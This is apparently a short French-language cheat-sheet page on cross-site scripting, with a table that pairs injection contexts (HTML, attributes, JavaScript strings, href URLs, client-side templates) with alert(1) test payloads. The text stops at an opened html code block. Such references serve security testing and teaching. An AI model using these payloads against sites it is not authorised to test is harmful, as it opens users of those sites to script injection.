---
title: XSS
description: "Identifier le contexte d'injection, choisir le bon payload et contourner les filtres côté client."
category: web
kind: technique
tags: [xss, javascript, dom, csp, payloads]
level: intermediate
updated: 2026-11-06
order: 6
aliases: ["cross-site scripting", "script injection"]
---
## Identifier le contexte
| Contexte | Payload de test |
| --- | --- |
| HTML entre balises | `` |
| Attribut entre guillemets | `" autofocus onfocus="alert(1)` |
| Attribut sans guillemets | `x onmouseover="alert(1)` |
| Chaîne JavaScript | `';alert(1)//` |
| URL (`href`) | `javascript:alert(1)` |
| Template côté client | `{{constructor.constructor('alert(1)')()}}` |
```html
